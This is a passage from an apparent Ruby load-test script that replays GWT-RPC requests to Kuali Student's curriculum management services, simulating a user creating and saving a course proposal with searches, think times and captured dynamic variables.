:lo_category_id_var_name => \"lo_category_id\",\n :lo_category_id_var_regexp => 'lo.resultColumn.categoryId\"\\,\\\"\\([^\\\"]+\\)',\n :lo_child_id_dyn_var_name => \"lo_child_id\",\n :lo_child_id_dyn_var_regexp => 'childLo\\\"\\,\\\"\\([^\\\"]+\\)',\n :single_use_lo_dyn_var_name => \"single_use_lo\",\n :single_use_lo_dyn_var_regexp => 'includedSingleUseLo\\\"\\,\\\"\\([^\\\"]+\\)',\n :atp_duration_week_var_name => 'atp_duration_week',\n :atp_duration_week_var_regexp => 'kuali.atp.duration.Week\\\"\\,\\\"Week\\\"\\,\\\"\\([^\\\"]+\\)',\n :version_ind_id_name => 'cp_version_ind_id',\n :version_ind_id_regexp => 'versionIndId\\\"\\,\\\"\\([^\\\"]+\\)',\n :affliated_orgs_id_name => 'cp_affiliated_orgs_id',\n :affliated_orgs_id_regexp => 'affiliatedOrgs\\\"\\,\\\"\\([^\\\"]+\\)',\n :action_request_id_name => 'cp_action_request_id',\n :action_request_id_regexp => 'actionRequestId\\\"\\,\\\"\\([^\\\"]+\\)'\n }\n \n # Version for the doc at each step. We'll increment on each usage\n # So first usage should eval to 0\n version_indicator = -1\n \n opts = defaults.merge(opts)\n \n title << '_%%ts_user_server:get_unique_id%%' if(opts[:append_unique_id])\n \n if(opts[:mode] != \"blank\")\n # select template or copy course...\n end\n \n # Navigate to Curriculum Mgmt\n self.homepage() unless(!opts[:nav_homepage])\n \n puts \"creating proposal as: #{opts[:propose_person]}\"\n \n # Create a course\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SecurityRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|7|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|13BFCB3640903B473D12816447D1469D|org.kuali.student.common.ui.client.service.SecurityRpcService|checkAdminPermission|java.lang.String/2004016611|#{opts[:propose_person]}|useCurriculumReview|1|2|3|4|2|5|5|6|7|\"\n }, {'subst' => 'true'}\n )\n \n \n # Click Start blank proposal\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CreditCourseProposalRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|15|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|A239E8C5A2EDCD8BCE6061BF191A8095|org.kuali.student.lum.lu.ui.course.client.service.CreditCourseProposalRpcService|getMetadata|java.lang.String/2004016611|java.util.Map||java.util.HashMap/962170901|documentTypeName|kuali.proposal.type.course.create|DtoState|Draft|DtoNextState|DtoWorkflowNode|PreRoute|1|2|3|4|2|5|6|7|8|4|5|9|5|10|5|11|5|12|5|13|5|7|5|14|5|15|\"\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/statementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|335FF062A700107AB2A642B325C6C5C5|org.kuali.student.lum.program.client.rpc.StatementRpcService|getStatementTypesForStatementTypeForCourse|java.lang.String/2004016611|kuali.statement.type.course|1|2|3|4|1|5|6|\"\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.lu.campusLocation|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|8|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|atp.search.atpSeasonTypes|atp.resultColumn.atpSeasonTypeName|1|2|3|4|1|5|5|0|0|6|0|7|8|0|0|\"\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|8|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|atp.search.atpDurationTypes|atp.resultColumn.atpDurTypeName|1|2|3|4|1|5|5|0|0|6|0|7|8|0|0|\"\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|18|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lrc.queryParam.resultComponent.type|kuali.resultComponentType.grade.finalGrade|lrc.queryParam.resultComponent.idRestrictionList|java.lang.String/2004016611|kuali.resultComponent.grade.letter|kuali.resultComponent.grade.passFail|kuali.resultComponent.grade.satisfactory|kuali.resultComponent.grade.completedNotation|kuali.resultComponent.grade.percentage|lrc.search.resultComponent|lrc.resultColumn.resultComponent.id|1|2|3|4|1|5|5|0|0|6|2|7|8|0|9|7|10|6|5|11|12|11|13|11|14|11|15|11|16|0|17|18|0|0|\"\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.lu.finalExam.status|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|14|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lrc.queryParam.resultComponent.idRestrictionList|java.lang.String/2004016611|kuali.resultComponentType.credit.degree.fixed|kuali.resultComponentType.credit.degree.range|kuali.resultComponentType.credit.degree.multiple|lrc.search.resultComponentType|lrc.resultColumn.resultComponent.id|1|2|3|4|1|5|5|0|0|6|1|7|8|6|3|9|10|9|11|9|12|0|13|14|0|0|\"\n }\n )\n \n # DUPE\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|14|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lrc.queryParam.resultComponent.idRestrictionList|java.lang.String/2004016611|kuali.resultComponentType.credit.degree.fixed|kuali.resultComponentType.credit.degree.range|kuali.resultComponentType.credit.degree.multiple|lrc.search.resultComponentType|lrc.resultColumn.resultComponent.id|1|2|3|4|1|5|5|0|0|6|1|7|8|6|3|9|10|9|11|9|12|0|13|14|0|0|\"\n }\n )\n \n # DUPE\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|14|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lrc.queryParam.resultComponent.idRestrictionList|java.lang.String/2004016611|kuali.resultComponentType.credit.degree.fixed|kuali.resultComponentType.credit.degree.range|kuali.resultComponentType.credit.degree.multiple|lrc.search.resultComponentType|lrc.resultColumn.resultComponent.id|1|2|3|4|1|5|5|0|0|6|1|7|8|6|3|9|10|9|11|9|12|0|13|14|0|0|\"\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.lu.fee.rateType|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n \n # DUPE\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.lu.fee.rateType|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n \n # DUPE\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.lu.fee.rateType|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n \n # DUPE\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.lu.fee.rateType|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.lu.campusLocation|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.lu.campusLocation|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|8|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|atp.search.atpSeasonTypes|atp.resultColumn.atpSeasonTypeName|1|2|3|4|1|5|5|0|0|6|0|7|8|0|0|\"\n }\n )\n \n # DUPE\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|8|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|atp.search.atpSeasonTypes|atp.resultColumn.atpSeasonTypeName|1|2|3|4|1|5|5|0|0|6|0|7|8|0|0|\"\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|18|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lrc.queryParam.resultComponent.type|kuali.resultComponentType.grade.finalGrade|lrc.queryParam.resultComponent.idRestrictionList|java.lang.String/2004016611|kuali.resultComponent.grade.letter|kuali.resultComponent.grade.passFail|kuali.resultComponent.grade.satisfactory|kuali.resultComponent.grade.completedNotation|kuali.resultComponent.grade.percentage|lrc.search.resultComponent|lrc.resultColumn.resultComponent.id|1|2|3|4|1|5|5|0|0|6|2|7|8|0|9|7|10|6|5|11|12|11|13|11|14|11|15|11|16|0|17|18|0|0|\"\n }\n )\n \n # DUPE\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|18|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lrc.queryParam.resultComponent.type|kuali.resultComponentType.grade.finalGrade|lrc.queryParam.resultComponent.idRestrictionList|java.lang.String/2004016611|kuali.resultComponent.grade.letter|kuali.resultComponent.grade.passFail|kuali.resultComponent.grade.satisfactory|kuali.resultComponent.grade.completedNotation|kuali.resultComponent.grade.percentage|lrc.search.resultComponent|lrc.resultColumn.resultComponent.id|1|2|3|4|1|5|5|0|0|6|2|7|8|0|9|7|10|6|5|11|12|11|13|11|14|11|15|11|16|0|17|18|0|0|\"\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CommentRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|62D53D0C5087061126A72510E98E7E9A|org.kuali.student.core.comments.ui.client.service.CommentRpcService|getUserRealName|java.lang.String/2004016611|#{opts[:propose_person]}|1|2|3|4|1|5|6|\"\n },\n {\n 'subst' => 'true'\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|subjectCode.queryParam.code||subjectCode.search.orgsForSubjectCode|subjectCode.resultColumn.orgLongName|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|20|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|atp.advancedAtpSearchParam.atpType|java.lang.String/2004016611|kuali.atp.type.Spring|kuali.atp.type.Summer|kuali.atp.type.Fall|kuali.atp.type.Session1|kuali.atp.type.Session2|kuali.atp.type.Mini-mester1A|kuali.atp.type.Mini-mester1B|atp.advancedAtpSearchParam.atpStartDateAtpConstraintIdExclusive||atp.search.advancedAtpSearch|atp.resultColumn.atpStartDate|1|2|3|4|1|5|5|0|0|6|2|7|8|6|7|9|10|9|11|9|12|9|13|9|14|9|15|9|16|0|7|17|0|18|19|20|0|0|\"\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|19|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|atp.advancedAtpSearchParam.atpType|java.lang.String/2004016611|kuali.atp.type.Spring|kuali.atp.type.Summer|kuali.atp.type.Fall|kuali.atp.type.Session1|kuali.atp.type.Session2|kuali.atp.type.Mini-mester1A|kuali.atp.type.Mini-mester1B|atp.advancedAtpSearchParam.atpStartDateAtpConstraintId|atp.search.advancedAtpSearch|atp.resultColumn.atpStartDate|1|2|3|4|1|5|5|0|0|6|2|7|8|6|7|9|10|9|11|9|12|9|13|9|14|9|15|9|16|0|7|17|0|0|18|19|0|0|\"\n }\n )\n \n \n \n #\n # Pg1 - Course Information\n #\n\n @request.add_thinktime(5)\n\n # Course Subject Code\n # AJAX popup while typing in subject area\n for i in 1..opts[:subject_area].length\n itr = i-1\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|12|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|search|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.lang.Boolean/476441737|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|subjectCode.queryParam.code|#{opts[:subject_area][0..itr]}|subjectCode.search.subjectCodeGeneric|subjectCode.resultColumn.code|1|2|3|4|1|5|5|0|6|0|7|1|8|9|0|10|11|12|0|0|\"\n } \n ) \n end\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|subjectCode.queryParam.code|#{opts[:subject_area]}|subjectCode.search.orgsForSubjectCode|subjectCode.resultColumn.orgLongName|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n } \n )\n\n @request.add_thinktime(3)\n\n # Instructor\n for i in 1..opts[:instructor].length\n itr = i-1\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|12|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|search|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.lang.Boolean/476441737|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|person.queryParam.personGivenName|#{opts[:instructor][0..itr]}|person.search.personQuickViewByGivenName|person.resultColumn.DisplayName|1|2|3|4|1|5|5|0|6|0|7|1|8|9|0|10|11|12|0|0|\"\n } \n ) \n end\n\n\n @request.add_thinktime(22)\n\n # Save & Continue\n contents1 = \"5|0|41|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|A239E8C5A2EDCD8BCE6061BF191A8095|org.kuali.student.lum.lu.ui.course.client.service.CreditCourseProposalRpcService|saveData|org.kuali.student.common.assembly.data.Data/3184510345|org.kuali.student.common.assembly.data.Data|java.util.LinkedHashMap/1551059846|org.kuali.student.common.assembly.data.Data$StringKey/758802082|proposal|org.kuali.student.common.assembly.data.Data$DataValue/1692468409|type|org.kuali.student.common.assembly.data.Data$StringValue/3151113388|kuali.proposal.type.course.create|workflowNode|PreRoute|name|#{opts[:proposal_title]}|_runtimeData|dirty|org.kuali.student.common.assembly.data.Data$BooleanValue/4261226833|java.lang.Boolean/476441737|rationale|#{opts[:course_rationale]}|courseTitle|#{opts[:course_title]}|transcriptTitle|subjectArea|courseNumberSuffix|instructors|#{opts[:course_short_title]}|#{opts[:subject_area]}|#{opts[:course_suffix]}|org.kuali.student.common.assembly.data.Data$IntegerKey/134469241|java.lang.Integer/3438268394|personId|#{opts[:instructor]}|id-translation|#{opts[:instructor]}, #{opts[:instructor]}(#{opts[:instructor]})|descr|plain|#{opts[:course_description]}\"\n contents2 = \"|1|2|3|4|1|5|5|6|7|0|8|8|9|10|5|6|7|0|5|8|11|12|13|8|14|12|15|8|16|12|17|8|18|10|5|6|7|0|1|8|19|10|5|6|7|0|2|-11|20|21|1|8|22|20|-22|-15|-17|-5|-13|-23|12|23|-1|-3|8|24|12|25|-13|10|5|6|7|0|1|-17|10|5|6|7|0|5|-26|20|-22|8|26|20|-22|8|27|20|-22|8|28|20|-22|8|29|20|-22|-29|-17|-1|-13|-35|12|30|-37|12|31|-39|12|32|-41|10|5|6|7|0|1|33|34|0|10|5|6|7|0|2|8|35|12|36|8|18|10|5|6|7|0|1|8|35|10|5|6|7|0|1|8|37|12|38|-58|-60|-52|-56|-47|-49|-1|8|29|8|39|10|5|6|7|0|2|8|40|12|41|-13|10|5|6|7|0|1|-17|10|5|6|7|0|1|-71|20|-22|-74|-17|-69|-13|-1|-67|0|0|\"\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CreditCourseProposalRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"#{contents1}#{contents2}\"\n },\n {\n :dyn_variables => [\n {\"name\" => opts[:proposal_dyn_var_name], \"re\" => opts[:proposal_dyn_var_regexp]},\n {\"name\" => opts[:clu_ref_dyn_var_name], \"re\" => opts[:clu_ref_dyn_var_regexp]},\n {\"name\" => opts[:proposal_doc_id_var_name], \"re\" => opts[:proposal_doc_id_var_regexp]},\n {\"name\" => opts[:version_ind_id_name], \"re\" => opts[:version_ind_id_regexp]}\n ]\n }\n )\n\n #@request.add(\"DEBUG/proposal_dyn_var_name/%%_#{opts[:proposal_dyn_var_name]}%%\", {}, {'subst' => 'true'})\n #@request.add(\"DEBUG/clu_ref_dyn_var_name/%%_#{opts[:clu_ref_dyn_var_name]}%%\", {}, {'subst' => 'true'})\n #@request.add(\"DEBUG/proposal_doc_id_var_name/%%_#{opts[:proposal_doc_id_var_name]}%%\", {}, {'subst' => 'true'})\n #@request.add(\"DEBUG/version_ind_id_name/%%_#{opts[:version_ind_id_name]}%%\", {}, {'subst' => 'true'})\n \n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|getActionsRequested|java.lang.String/2004016611|%%_#{opts[:proposal_doc_id_var_name]}%%|1|2|3|4|1|5|6|\"\n },\n {\n 'subst' => 'true'\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|getDocumentStatus|java.lang.String/2004016611|%%_#{opts[:proposal_doc_id_var_name]}%%|1|2|3|4|1|5|6|\"\n },\n {\n 'subst' => 'true'\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/ProposalRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|12BDE6C2DA6A7CF74BE0FBF074E806E1|org.kuali.student.core.proposal.ui.client.service.ProposalRpcService|getProposalByWorkflowId|java.lang.String/2004016611|%%_#{opts[:proposal_doc_id_var_name]}%%|1|2|3|4|1|5|6|\"\n },\n {\n 'subst' => 'true'\n }\n )\n \n \n \n \n #\n # Pg 2 - Governance\n # Campus Locations: All\n #\n\n # COC Org\n # Biology Dept\n\n @request.add_thinktime(8)\n\n # Admin Org\n # Botany\n for i in 1..admin_org.length\n itr = i-1\n if(i == admin_org.length)\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|16|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|search|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.lang.Boolean/476441737|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|org.queryParam.orgOptionalLongName|#{admin_org[0..itr]}|org.queryParam.orgOptionalType|java.lang.String/2004016611|kuali.org.Department|kuali.org.College|org.search.generic||1|2|3|4|1|5|5|0|6|0|7|2|8|9|0|10|8|11|7|2|12|13|12|14|0|15|16|0|0|\"\n },\n {\n :dyn_variables => [\n {\"name\" => opts[:admin_dep_var_name], \"re\" => 